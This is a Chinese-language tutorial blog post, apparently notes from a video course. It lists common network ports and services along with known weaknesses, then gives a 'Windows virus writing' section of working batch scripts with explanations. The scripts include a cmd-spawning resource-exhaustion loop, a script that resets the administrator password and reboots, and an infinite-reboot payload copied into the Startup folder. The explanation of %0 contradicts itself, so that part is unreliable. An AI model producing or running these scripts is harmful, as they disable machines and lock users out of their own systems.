网络安全之WINDOWS端口及病毒编写
目录
一、常见端口和服务
二、Windows病毒编写
声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章
声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。
一、常见端口和服务
21:FTP 用于上传、下载文件。
22:SSH 用于通过命令行模式远程连接Linux服务器或vps。
23:Telnet 用于Telnet远程登录服务器。
25:SMTP 用于发送邮件。
80:HTTP 用于HTTP服务提供访问功能,例如,IIS、Apache、Nginx 等服务。
80-89端口可能是web,有的web服务不放在80端口,而是放在80-89中的一个端口
110:POP3 用于POP3 协议,POP3 是电子邮件收发的协议。
143:IMAP 用于IMAP(Internet Message Access Protocol)协议,IMAP 是用于电子邮件的接收的协议。
443:HTTPS 用于HTTPS服务提供访问功能。HTTPS 是一种能提供加密和通过安全端口传输的一种协
议。 (SSL心脏滴血漏洞)
445 SMB
1433:SQL Server SQL Server的TCP 端口,用于供SQL Server对外提供服务。
1434:SQL Server SQL Server的UDP端口,用于返回SQL Server使用了哪个 TCP/IP 端口。
1521:Oracle通信端口,服务器上部署了Oracle SQL需要放行的端口。
2082/2083 cpanel 主机管理系统登录(国外用的比较多)
2222 da虚拟主机管理系统登录(国外较多)
3128 squid代理默认端口(实现内网漫游)
3306:MySQL数据库对外提供服务的端口。
3312/3311 kangle主机管理系统登录
3389:远程桌面服务端口,可以通过这个端口远程连接服务器。
5432 postgreSQL一个关系型数据库
5900 VNC 链接设备(VNC未授权访问)
6379 redis (存在未授权)
7001、7002 weblogic (默认弱口令,反序列化)
7778 kioxo主机控制面板登录
8080/8089/9090 jboss
8080:代理端口,同80端口一样,8080 端口常用于WWW代理服务,实现网页浏览。
8083 vestacp主机管理系统登录
8649 ganglia
8888 宝塔 主机管理系统
10000 virtuamin/webmin 服务器虚拟主机管理系统
11211 memcache (未授权访问)
27017、27018 mongodb (未授权访问)
28017 mongodb 统计系统页面
二、Windows病毒编写
资源耗尽病毒原理
echo start cmd >1.txt 将启动cmd的命令写入1.txt
echo %0>>1.txt 无限启动文件命令写入1.txt
ren 1.txt 1.bat 将1.txt文件重命名成脚本文件1.bat
代码解析:
-
echo start cmd >1.txt:这条命令的作用是在当前目录下创建一个名为1.txt的文本文件,并向其中写入字符串“start cmd”。这里的start是Windows命令行中的一个命令,用于启动一个程序或命令行工具,cmd是指命令提示符,即Windows的命令行界面。
-
echo %0 >>1.txt:这条命令的作用是将当前批处理脚本的名称(%0是一个特殊的变量,它代表当前批处理脚本的名称)追加到1.txt文件的末尾。这样,每次执行这个批处理脚本时,它都会将自己追加到文件中,形成一个无限循环。
-
ren 1.txt 1.bat:这条命令的作用是将1.txt文件重命名为1.bat。在Windows中,.bat文件是批处理脚本文件的扩展名,这样重命名后,原来的文本文件就变成了一个可执行的批处理脚本。
详解:
-
echo start cmd >1.txt
-
echo 是一个在命令行中显示文本的命令。
-
start cmd 是要显示的文本,start 命令用于启动一个程序或命令行进程,这里它将启动一个新的命令行窗口,并运行 cmd,即命令提示符。
-
> 是一个重定向操作符,它将 echo 命令的输出从标准输出(通常是屏幕)重定向到一个文件。
-
1.txt 是要创建的文件名,> 操作符会创建这个文件,如果文件已存在,则会覆盖它。
-
-
echo %0 >>1.txt
-
%0 是一个环境变量,它代表当前批处理文件的名称。
-
>> 是一个追加重定向操作符,它会将输出追加到文件的末尾,而不是覆盖文件。
-
这行命令的效果是将当前批处理文件的名称追加到 1.txt 文件中。由于 %0 包含文件的扩展名(在这个例子中是 .bat),所以这实际上是将 1.bat 这个名称追加到了文件中。
-
-
ren 1.txt 1.bat
-
ren 是一个命令,用于重命名文件。
-
1.txt 是要被重命名的原始文件名。
-
1.bat 是新的文件名,将 .txt 扩展名更改为 .bat,这样文件就变成了一个批处理文件。
-
将这些命令组合起来,这段代码的执行流程如下:
-
首先,创建一个名为 1.txt 的文件,并写入 start cmd 命令。
-
然后,将当前批处理文件的名称(1.bat)追加到 1.txt 文件中。
-
最后,将 1.txt 文件重命名为 1.bat。
当 1.bat 被执行时,它会启动一个新的命令行窗口,并且由于 %0 指向自身(1.bat),它会不断地追加自身到文件中,形成一个无限循环。每次执行 1.bat 时,都会启动一个新的命令行窗口,并且由于无限循环的自我引用,会导致越来越多的 cmd 窗口被打开,最终耗尽系统资源,可能导致系统变慢甚至崩溃。
注:
这段描述中有一点需要澄清:在原始代码中,%0 代表的是当前批处理脚本的名称,如果当前脚本的扩展名是 .bat,那么 %0 会包含这个扩展名。但是,在这个特定的例子中,当执行 echo %0 >>1.txt 命令时,%0 实际上不会包含 .bat 扩展名,因为 %0 只包含脚本的名称,不包含路径和扩展名。
-
%0 是一个特殊的变量,它代表当前正在执行的批处理文件的名称。如果当前批处理文件是 1.bat,那么 %0 就是 1.bat。
-
echo %0 >>1.txt 这条命令的作用是将 %0 的值(即当前批处理文件的名称)追加到 1.txt 文件的末尾。这里的 >> 是一个追加重定向操作符,它将命令的输出追加到指定的文件末尾,而不是覆盖文件内容。
-
由于 %0 变量包含了批处理文件的完整名称(在这个例子中是 1.bat),所以这条命令实际上是将 1.bat 这个字符串追加到了 1.txt 文件中。
因此,这段代码的意思是:将当前批处理文件的名称(包括扩展名)追加到 1.txt 文件中。这样,每次执行这个批处理脚本时,它都会将自己追加到 1.txt 文件中,形成一个无限循环。这会导致 1.txt 文件中包含多个 1.bat 字符串,每个字符串代表一次脚本执行时的自我引用。
自动锁机病毒原理
echo net user administrator 123456 > c:\windows\Temp\1.bat 修改管理员密码为123456并写入1.bat文件
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat 将立刻关机命令写入1.bat文件,运行后直接修改管理员密码并锁机
代码解析:
-
echo net user administrator 123456 > c:\windows\Temp\1.bat
-
echo 是一个命令,用于在命令行上显示文本或将文本发送到文件。
-
net user administrator 123456 是一个用于修改用户账户密码的命令。这里它将本地管理员账户(通常用户名为 administrator)的密码更改为 123456。
-
> 是一个重定向操作符,它将 echo 命令的输出从标准输出(屏幕)重定向到一个文件。在这里,它创建或覆盖 c:\windows\Temp\1.bat 文件,并写入 net user administrator 123456 命令。
-
结果是,在 C:\Windows\Temp 目录下创建了一个名为 1.bat 的批处理文件,其中包含修改管理员密码的命令。
-
-
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
-
shutdown /r /t 0 是一个命令,用于立即重启计算机。/r 参数表示重启,/t 0 表示设置延迟时间为0秒。
-
>> 是一个追加重定向操作符,它将 echo 命令的输出追加到已存在的文件末尾。在这里,它将 shutdown /r /t 0 命令追加到 c:\windows\Temp\1.bat 文件中。
-
结果是,1.bat 文件现在包含了两个命令:修改管理员密码的命令和立即重启计算机的命令。
-
当 1.bat 被执行时,它会:
-
首先,尝试将管理员账户的密码更改为 123456。
-
然后,立即重启计算机,没有任何延迟。
无限重启病毒原理
echo shutdown /r /t 0 >1.bat
copy 1.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
代码解析:
-
echo shutdown /r /t 0 >1.bat
-
echo 命令用于在命令行中显示文本或将文本输出到文件。
-
shutdown /r /t 0 是一个命令,用于立即重启计算机。/r 参数表示重启,/t 0 表示设置延迟时间为0秒。
-
> 是一个重定向操作符,它将 echo 命令的输出从标准输出(屏幕)重定向到一个文件。在这里,它创建或覆盖当前目录下名为 1.bat 的文件,并写入 shutdown /r /t 0 命令。
-
结果是,在当前目录下创建了一个名为 1.bat 的批处理文件,其中包含立即重启计算机的命令。
-
-
copy 1.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
-
copy 是一个命令,用于复制文件或目录树。
-
1.bat 是要复制的源文件,即上一步创建的包含重启命令的批处理文件。
-
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 是目标目录,这是Windows系统中的一个特殊目录,用于存储在计算机启动时自动运行的程序的快捷方式或批处理文件。
-
结果是,1.bat 文件被复制到 StartUp 目录中,这意味着每次计算机启动时,1.bat 中的命令(即立即重启计算机)将被执行。
-
注:
(开机自启动目录)"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup"
(重启自动清空缓存)C:\Windows\Temp\1.bat
相关文章:
网络安全之WINDOWS端口及病毒编写
目录 一、常见端口和服务 二、Windows病毒编写 声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章 声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判…...
Flink 开发工程应加载哪些依赖
在我们要开发Flink程序时,就会涉及到应该加载哪些Flink jar的问题。本章内容就是向你展示如何配置你的项目,添加必要的依赖。 每个应用程序都会依赖一些 Flink libraries,比如至少依赖 Flink APIs库,如果使用了connector,则还需要依赖connector相关的库,比如kafka、jdbc…...
wordpress建外贸独立站常用的多语言插件
WordPress是一个功能强大的内容管理系统,对于外贸独立站来说,多语言支持是非常重要的功能。以下是一些常用的WordPress多语言插件: 1. WPML (WordPress Multilingual) 这是最流行且功能最全面的多语言插件之一。它支持翻译整个网站…...
[SpB]如何开始使用 Spring Boot?
如何开始使用 Spring Boot? Spring Boot 简化了 Java 项目开发,你只需要专注于业务逻辑,底层的很多配置和功能由 Spring Boot 自动帮你处理。下面是你如何快速上手 Spring Boot 的步骤,以及如何通过 IDEA 了解 Spring Boot 的功能…...
蓝桥杯模拟
【问题描述】 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问 2024 有多少个质因数。 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一个整数,在提交答案时只…...
数字化转型企业架构设计手册(交付版),企业数字化转型建设思路、本质、数字化架构、数字化规划蓝图(PPT原件获取)
1、企业架构现状分析 2、企业架构内容框架 3、企业架构设计方法 3.1 、业务架构设计方法 3.2 、数据架构设计方法 3.3 、应用架构设计方法 3.4 、技术架构设计方法 软件全套资料部分文档清单: 工作安排任务书,可行性分析报告,立项申请审批表&…...
2. langgraph中的react agent使用 (在react agent添加历史消息)
1. 导入必要的库 首先,我们需要导入所需的库。这里我们使用 langchain_openai 来与 智谱AI 模型进行交互,并使用 langchain_core.tools 来定义自定义工具。 from langchain_openai import ChatOpenAI from typing import Literal from langchain_core.…...
MySQL社区版的启动与连接
1.启动: 注意:MySQL是默认开机自启的 方式一: 1.WinR 的命令行中直接输入services.msc 2.在服务中找到数据库名称,然后鼠标右键点击启动 方式二: 1.在开始选项中搜索“cmd”命令提示符,使用管理员身份运行 …...
【图像压缩感知】论文阅读:Content-Aware Scalable Deep Compressed Sensing
tips: 本文为个人阅读论文的笔记,仅作为学习记录所用。本文参考另一篇论文阅读笔记 Title: Content-Aware Scalable Deep Compressed Sensing Journal: TIP 2022 代码链接: https://github.com/Guaishou74851/CASNet…...
物理hack
声明 声明 文章只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。 ✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣…...
Linux——环境基础开发工具使用2(正在更新中...)
1.自动化构建-make/Makefile 1.1 认识make和Makefile make是一个命令; Makefile是一个文件。 1.2 理解 其中在第一个图片中,第一行的 mytest:test.c 叫做依赖关系;第二行的 gcc test.c -o mytest 叫做依赖方法。 依赖关系和依赖方法共同…...
STM32传感器模块编程实践(十二) micro SD卡模块简介及驱动源码
文章目录 一.概要二.Micro SD卡模块主要特性三.Micro SD卡模块接线说明四.Micro SD卡模块参考原理图五.通讯协议介绍六.FATFS文件系统介绍七.STM32F030C8T6单片机与SD卡模块实现数据读写实验1.硬件准备2.软件工程3.软件主要代码4.实验效果 八.源代码工程下载九.小结 一.概要 M…...
Linux debian系统安装ClamTk开源图形用户界面(GUI)杀毒软件
一、ClamTk简介 ClamTk 是一个基于 ClamAV 的开源图形用户界面(GUI)杀毒软件。它使用 GTK2-Perl 脚本构建而成,支持32位与64位操作系统。ClamTk 提供了一个直观的用户界面,使得用户无需深入了解命令行即可完成大部分操作。它具备…...
RapidIO介绍
传统串行总线(如 UART, SPI, I2C 等) 特点: 接口简单:传统的串行总线设计相对简单,通常使用少量的引脚,因此硬件设计较为简洁。协议简单:这些协议设计简单,容易实现,因…...
用魔方做存储器
用魔方模拟存储器是一种形象化的方式,特别适合教学演示或帮助理解存储器结构。以下是如何将魔方作为存储器的设计思路和可能的实现: 基本思路 魔方的结构: 魔方有 (6) 个面,每面 (3 \times 3 9) 个方块,总共 (6 \time…...
动力商城-03 Idea集成apifox Mybatis-Plus字段策略
1.Idea下载apifox插件 2.新建令牌放入Idea 3.右键上传到对应接口 4.设置前置url 插件能够自动识别swagger注解 Mybatis-Plus字段策略 1、FieldStrategy作用 Mybatis-Plus字段策略FieldStrategy的作用主要是在进行新增、更新时,根据配置的策略判断是否对实体对…...
python如何使用Rabbitmq
目录 一、Rabbitmq介绍 二、Rabbitmq的使用场景 1、异步处理 2、服务解耦 3、流量削峰 4、日志收集 5、发布订阅 6、任务调度 三、python如何使用Rabbitmq 1、安装依赖 2、基础使用 3、消息确认 4、消息持久化 5、公平调度 6、发布订阅 7、关键字发布 一、Rabbi…...
分布式,微服务,SpringCloudAlibaba,nacos,gateway,openFeign
想学习微服务SpringCloudAlibaba的小伙伴,可以观看视频 地址: https://www.bilibili.com/video/BV1cFDEYWEkY/?vd_source14d27ec13a4737c281b7c79463687112分布式架构和微服务是两个密切相关但又有所区别的概念。它们在现代软件工程中经常被提及&#…...
MySQL初学之旅(3)约束
目录 1.前言 2.正文 2.1约束类型 2.2NULL约束 2.3UNIQUE约束 2.4DEFAULT约束 2.5PRIMARY KEY主键约束 2.6FOREIGN KEY外键约束 2.7CHECK约束 3.小结 1.前言 哈喽大家好啊,今儿来继续给大家分享最近学习的MySQL和约束相关的知识点,希望大家一起…...
使用YOLOv9进行图像与视频检测
大家好,YOLOv9 与其前身v8一样,专注于识别和精确定位图像和视频中的对象。本文将介绍如何使用YOLOv9进行图像与视频检测,自动驾驶汽车、安全系统和高级图像搜索等应用在很大程度上依赖于此功能,YOLOv9 引入了比 YOLOv8 更令人印象…...
2025年能源电力系统与流体力学国际会议 (EPSFD 2025)
2025年能源电力系统与流体力学国际会议(EPSFD 2025)将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会,EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...
【SpringBoot自动化部署】
SpringBoot自动化部署方法 使用Jenkins进行持续集成与部署 Jenkins是最常用的自动化部署工具之一,能够实现代码拉取、构建、测试和部署的全流程自动化。 配置Jenkins任务时,需要添加Git仓库地址和凭证,设置构建触发器(如GitHub…...
Spring Security 认证流程——补充
一、认证流程概述 Spring Security 的认证流程基于 过滤器链(Filter Chain),核心组件包括 UsernamePasswordAuthenticationFilter、AuthenticationManager、UserDetailsService 等。整个流程可分为以下步骤: 用户提交登录请求拦…...
Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践
前言:本文将向开发者介绍一款创新性协作工具——Neko虚拟浏览器。在数字化协作场景中,跨地域的团队常需面对实时共享屏幕、协同编辑文档等需求。通过本指南,你将掌握在Ubuntu系统中使用容器化技术部署该工具的具体方案,并结合内网…...
